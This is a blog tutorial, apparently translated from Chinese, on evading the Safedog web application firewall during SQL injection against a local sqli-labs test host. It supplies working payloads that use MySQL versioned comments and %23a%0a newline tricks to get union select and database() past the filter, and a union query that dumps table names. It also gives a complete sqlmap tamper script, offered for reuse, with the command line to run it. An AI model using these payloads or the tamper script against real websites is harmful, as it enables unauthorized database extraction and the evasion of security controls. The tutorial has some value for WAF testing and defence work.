Detailed explanation of the whole process from bypassing the safety dog to writing tamper script

Posted by a2bardeals on Sat, 27 Nov 2021 01:17:00 +0100

0x00 description

  • Security dog these WAFS have a feature, which are filtered based on regular matching, but the actual situation needs to weigh availability and security
  • Of course, the manufacturer must consider the user experience, so everything cannot be intercepted, so it is a regular bypass in the end be careful: His regular rules are different with different versions Therefore, some payload s cannot be taken all in the new and old versions. But it doesn't matter. It's not a problem if you learn to go around like this

0x01 judge intercepted keyword

Let's take the simple statement order by 3 as an example

Providing ideas is to destroy words to test:

http://10.211.55.4/Less-2/?id=1 order by 3

http://10.211.55.4/less-2 /? Id = 1 order by 3

http://10.211.55.4/Less-2/?id=1 order bay 3

So what the dog intercepts is that order by appears together

All subsequent tests are preliminary judgments based on this idea.

0x02 some simple knowledge points

  • Some of the basics of bypassing - statements within MySql annotations can also be executed (/ *! * /)
  • /*! ....*/ There are notes in many other places.
  • But it is not a comment in mysql. In order to maintain compatibility, mysql puts some unique statements only used on mysql in / **/ In this way, these statements will not be executed in other databases, but they will be executed in mysql.
/*!50001 select * from test */;

50001 here means that if the database is above version 5.00.01, the statement will be executed. Basically, only one version is judged.

  • Symbols commonly used in Mysql
Newline symbol
%0a

Note compliance
%23

White space character
"%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"

Different databases are different. You can check them yourself

There are also some common annotation symbols for bypass

#
--
-- -
--+
//
/**/
/*letmetest*/
;%00

0x03 summarize the points intercepted by the safety dog

  • and 1

As long as and is followed by a number, the security dog will intercept it

  • order by

order followed by by, and the security dog will intercept it

  • union select

As long as the union select combination is intercepted, the actual measurement shows that the word select is more strict, mainly around select database()

  • The database is followed by parentheses, and the security dog will intercept it

The following is an example of a successful test

order by bypass

test order aby No interception, let's by You can bypass the previous comment

http://10.211.55.4/Less-2/?id=1 order %23a%0aby 3

union select bypasses, similarly

http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,2,3

database() bypass

http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,%23a%0adatabase/*!*/(),3

A complete union query

http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,group_concat(table_name),3 %23a%0a/*!from*/ information_schema.tables where table_schema='security'

There is also a way to bypass the annotation version number

http://10.211.55.4/Less-2/?id=-1 union /*!44466select*/ 1,database/*!()*/,3

0x04 writing sqlmap tamper

tamper is a series of scripts extended by sqlmap. Its main function is to make specific changes to the original payload to bypass waf.

In order to better understand the direct case analysis:

Let's understand a commonly used tamper: space2comment.py

The function of this script is to replace the space character with "/ * * /"

Here is the complete code

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal

0x05 the three main parts of tamper

  • Part I priority Defines the priority of the script, which is used for the sequence of multiple tamper scripts
  • Part II dependencies function The applicable / inapplicable scope of the script can also not be written.
  • Part III tamper function It is mainly the essence that we bypass and the content to be replaced. Priority priority

When multiple tampers are used, the tamper with higher PRIORITY parameter level shall be used first

__priority__ = PRIORITY.LOW

There are about seven levels: lower lower low normal high higher highest

The dependencies function mainly prompts the user about the scope of application

It's not written above, but there's no hint. You should know for yourself. In fact, it's OK not to write directly pass
def dependencies():
     singleTimeWarnMessage("Enter the content you want to display here“)

tamper is the big play

This is a simple double write bypass. The tamper is mainly a replacement process

payload is the keyword select union. After replacement, only return is the processed content

def tamper(payload, **kwargs):
    return payload.replace('union','uniounionn')

So how to replace it in the middle is your business. Only return at last

0x06 temper writing test method

Here I say the following pits:

  • Manual operation is different from writing tamper. The SQL map statement is different from that you use
  • I have two suggestions. One is to use slqmap to hang the agent to burp to see if it is OK. I don't use this method. I'm a little tired
  • I open the - v parameter to see the payload and prompt, see where to disconnect, copy the payload, take a manual look, bypass and write the tamper
  • Also, you need to open the - flush parameter to refresh the cache during debugging
  • Another is your python code ability. If you just use the simple replace() function, you should pay attention to the replacement order
  • For example, similar functions will be used:
SESSION_USER()  CURRENT_USER()  USER() 
These are all user() If you replace it at the front user() 
Then it will appear later CURRENT_%23a%0aUSER/*!*/() I'm not compatible with this bypass
 You have to adjust yourself later
  • Here are my bypass parameters:
python3 sqlmap.py -u "http://10.211.55.4/Less-2/?id=1" --tamper dogz.py --random-agent --flush -v 3 --batch --dbms mysql --current-user –-tech=U

0x07 end

The dog walking script is given to you. If it fails when running, you can modify it according to the above method

#!/usr/bin/python3.7
# Author:Zeo

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Zeo_bypass_safedog4.0")
    
def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!44466AND*/')
    payload=payload.replace('ORDER','/*!44466order*/')
    payload=payload.replace('BY','%23a%0aby')
    payload=payload.replace('USER()','%23a%0aUSER/*!*/()')
    payload=payload.replace('DATABASE()','%23a%0aDATABASE/*!*/()')
    payload=payload.replace('SESSION_%23a%0aUSER/*!*/()','%23a%0aSESSION_USER()')
    payload=payload.replace('UNION ALL SELECT','UNION ALL /*!44466SELECT*/')
    payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()','CURRENT_USER()')
    return payload

Finally, bypass the safety dog and successfully run out of the data

Reference article address: https://blog.csdn.net/god_zzZ/article/details/105650673